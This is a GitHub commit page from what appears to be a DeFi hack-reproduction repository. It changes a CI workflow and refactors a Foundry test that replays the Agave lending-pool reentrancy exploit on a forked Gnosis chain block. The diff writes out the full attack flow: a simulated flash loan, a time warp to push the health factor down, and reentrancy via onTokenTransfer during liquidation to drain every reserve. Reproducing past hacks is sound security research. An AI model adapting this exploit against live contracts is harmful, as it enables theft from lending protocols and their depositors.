Skip to content

Commit

Permalink
Merge pull request SunWeb3Sec#587 from akshaynexus/cleanup-agave-2
Browse files Browse the repository at this point in the history
  • Loading branch information
SunWeb3Sec authored Mar 23, 2024
2 parents 8914a4e + ce3c5ea commit 380c06b
Show file tree
Hide file tree
Showing 2 changed files with 47 additions and 47 deletions.
10 changes: 8 additions & 2 deletions .github/workflows/PRAutoTest.yml
Original file line number Diff line number Diff line change
Expand Up @@ -3,8 +3,10 @@ on:
pull_request:
paths:
- 'src/test/*_exp.sol'

env:
FOUNDRY_PROFILE: ci

jobs:
check:
strategy:
Expand All @@ -15,15 +17,19 @@ jobs:
- uses: actions/checkout@v3
with:
submodules: recursive
fetch-depth: 0 # Required to fetch all branches
fetch-depth: 0 # Required to fetch all branches

- name: Install Foundry
uses: foundry-rs/foundry-toolchain@v1
with:
version: nightly

- name: Run Forge tests
run: |
shopt -s nullglob
changed_files=$(git diff --name-only ${{ github.base_ref }} HEAD)
base_sha=${{ github.event.pull_request.base.sha }}
head_sha=${{ github.event.pull_request.head.sha }}
changed_files=$(git diff --name-only $base_sha $head_sha)
for file in $changed_files; do
if [[ $file == src/test/*_exp.sol ]]; then
forge test --contracts "$file" -vvv
Expand Down
84 changes: 39 additions & 45 deletions src/test/Agave_exp.sol
Original file line number Diff line number Diff line change
Expand Up @@ -60,6 +60,10 @@ contract AgaveExploit is Test {
address usdc = 0xDDAfbb505ad214D7b80b1f830fcCc89B60fb7A83;
address wxdai = 0xe91D153E0b41518A2Ce8Dd3D7944Fa863463a97d;

address provider = 0xA91B9095eFa6C0568467562032202108e49c9Ef8;
//Address that can mint tokens on gnosis bridge
address tokenOwner = 0xf6A78083ca3e2a662D6dd1703c939c8aCE2e268d;

//Asset interfaces
IGnosisBridgedAsset WETH = IGnosisBridgedAsset(weth);
IGnosisBridgedAsset LINK = IGnosisBridgedAsset(link);
Expand All @@ -72,12 +76,12 @@ contract AgaveExploit is Test {

function setUp() public {
vm.createSelectFork("gnosis", 21_120_283); //fork gnosis at block number 21120319
providerAddrs = ILendingPoolAddressesProvider(0xA91B9095eFa6C0568467562032202108e49c9Ef8);
providerAddrs = ILendingPoolAddressesProvider(provider);
lendingPool = ILendingPool(providerAddrs.getLendingPool());
console.log(providerAddrs.getPriceOracle());
//Lets just mint weth to this contract for initial debt
vm.startPrank(0xf6A78083ca3e2a662D6dd1703c939c8aCE2e268d);
wethLiqBeforeHack = getAvailableLiquidity(weth);
vm.startPrank(tokenOwner);
wethLiqBeforeHack = _getAvailableLiquidity(weth);
//Mint initial weth funding
WETH.mint(address(this), 2728.934387414251504146 ether);
WETH.mint(address(this), 1);
Expand All @@ -90,17 +94,17 @@ contract AgaveExploit is Test {
WETH.approve(address(lendingPool), type(uint256).max);
}

function getAvailableLiquidity(address asset) internal view returns (uint256 reserveTokenbal) {
function _getAvailableLiquidity(address asset) internal view returns (uint256 reserveTokenbal) {
DataTypesAave.ReserveData memory data = lendingPool.getReserveData(asset);
reserveTokenbal = IERC20(asset).balanceOf(address(data.aTokenAddress));
}

function getHealthFactor() public view returns (uint256) {
function _getHealthFactor() internal view returns (uint256) {
(,,,,, uint256 healthFactor) = lendingPool.getUserAccountData(address(this));
return healthFactor;
}

function prepare() public {
function _initHF() internal {
//follow the flow of this TX https://gnosisscan.io/tx/0x45b2d71f5bbb17fa67341fdf30468f1de032db71760be0cf4df9bac316cda7cc

uint256 balance = LINK.balanceOf(address(this));
Expand Down Expand Up @@ -129,80 +133,70 @@ contract AgaveExploit is Test {

function _logBalances(string memory message) internal {
console.log(message);
console.log("--- Start of balances --- ");
console.log("WETH Balance %d", _logTokenBal(weth));
console.log("aWETH Balance %d", _logTokenBal(aweth));
console.log("USDC Balance %d", _logTokenBal(usdc));
console.log("GNO Balance %d", _logTokenBal(gno));
console.log("LINK Balance %d", _logTokenBal(link));
console.log("WBTC Balance %d", _logTokenBal(wbtc));
console.log("healthf : %d", getHealthFactor());
console.log("--- End of balances --- ");
console.log("--- Start of balances ---");
emit log_named_decimal_uint("WETH Balance", _logTokenBal(weth), 18);
emit log_named_decimal_uint("aWETH Balance", _logTokenBal(aweth), 18);
emit log_named_decimal_uint("USDC Balance", _logTokenBal(usdc), 6);
emit log_named_decimal_uint("GNO Balance", _logTokenBal(gno), 18);
emit log_named_decimal_uint("LINK Balance", _logTokenBal(link), 18);
emit log_named_decimal_uint("WBTC Balance", _logTokenBal(wbtc), 8);
emit log_named_decimal_uint("healthf", _getHealthFactor(), 18);
console.log("--- End of balances ---");
}

function testExploit() public {
//Call prepare and get it setup
prepare();
_initHF();
_logBalances("Before hack balances");
flashloanFundingWETH();
_flashWETH();
_logBalances("After hack balances");
}

function flashloanFundingWETH() internal {
this.uniswapV2Call(address(this), ethFlashloanAmt, 0, new bytes(0));
function _flashWETH() internal {
uniswapV2Call(address(this), ethFlashloanAmt, 0, abi.encode(msg.sender));
}

function uniswapV2Call(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {
function uniswapV2Call(address _sender, uint256 _amount0, uint256 _amount1, bytes memory _data) public {
//We simulate a flashloan from uniswap for initial eth funding
attackLogic(_amount0, _amount1, _data);
_attackLogic(_amount0, _amount1, _data);
}

function attackLogic(uint256 _amount0, uint256 _amount1, bytes calldata _data) internal {
function _attackLogic(uint256 _amount0, uint256 _amount1, bytes memory _data) internal {
//This will fast forward block number and timestamp to cause hf to be lower due to interest on loan pushing hf below one
vm.warp(block.timestamp + 1 hours);
vm.roll(block.number + 1);
//This will start the reentrancy with ontokentransfer call on .burn of the atoken
lendingPool.liquidationCall(weth, weth, address(this), 2, false);
//This will withdraw the funds from weth lending pool
lendingPool.withdraw(weth, _logTokenBal(aweth), address(this));
//Calculation of flashloan fees for uniswap v2 pair,we just emulate it here for continuity purposes
uint256 amountRepay = ((ethFlashloanAmt * 1000) / 997) + 1;
require(amountRepay < WETH.balanceOf(address(this)), "not enough eth");
//For test case we just send it to address(1) to reduce the flashloan amount from us to get final assets
WETH.transfer(address(1), amountRepay);
}

function depositWETH() internal {
lendingPool.deposit(weth, 1, address(this), 0);
//For test case we just send it to address(1) to reduce the flashloan debt amount from us to get final assets
WETH.transfer(address(1), ((ethFlashloanAmt * 1000) / 997) + 1);
}

function maxBorrow(address asset, bool maxxx) internal {
uint256 reserveTokenbal = getAvailableLiquidity(asset);
function _borrow(address asset) internal {
uint256 reserveTokenbal = _getAvailableLiquidity(asset);
uint256 BorrowAmount = reserveTokenbal > 2 ? reserveTokenbal - 1 : 0;
if (BorrowAmount > 0) {
lendingPool.borrow(asset, BorrowAmount, 2, 0, address(this));
}
if (BorrowAmount > 0) lendingPool.borrow(asset, BorrowAmount, 2, 0, address(this));
}

function borrowMaxtokens() internal {
function borrowTokens() internal {
lendingPool.deposit(weth, WETH.balanceOf(address(this)) - 1, address(this), 0);
maxBorrow(usdc, true);
maxBorrow(link, true);
maxBorrow(wbtc, true);
maxBorrow(gno, true);
maxBorrow(wxdai, true);
//We borrow directly here cause of some edge case the maxborrow fails for weth
_borrow(usdc);
_borrow(link);
_borrow(wbtc);
_borrow(gno);
_borrow(wxdai);
//We borrow directly here cause of some edge case the _borrow fails for weth
lendingPool.borrow(weth, wethLiqBeforeHack, 2, 0, address(this));
}

function onTokenTransfer(address _from, uint256 _value, bytes memory _data) external {
console.log("tokencall From: %s, Value: %d", _from, _value);
//we only do the borrow call on liquidation call which is the second time the from is weth and value is 1
if (_from == aweth && _value == 1) {
callCount++;
}
if (callCount == 2 && _from == aweth && _value == 1) {
borrowMaxtokens();
borrowTokens();
}
}
}

0 comments on commit 380c06b

Please sign in to comment.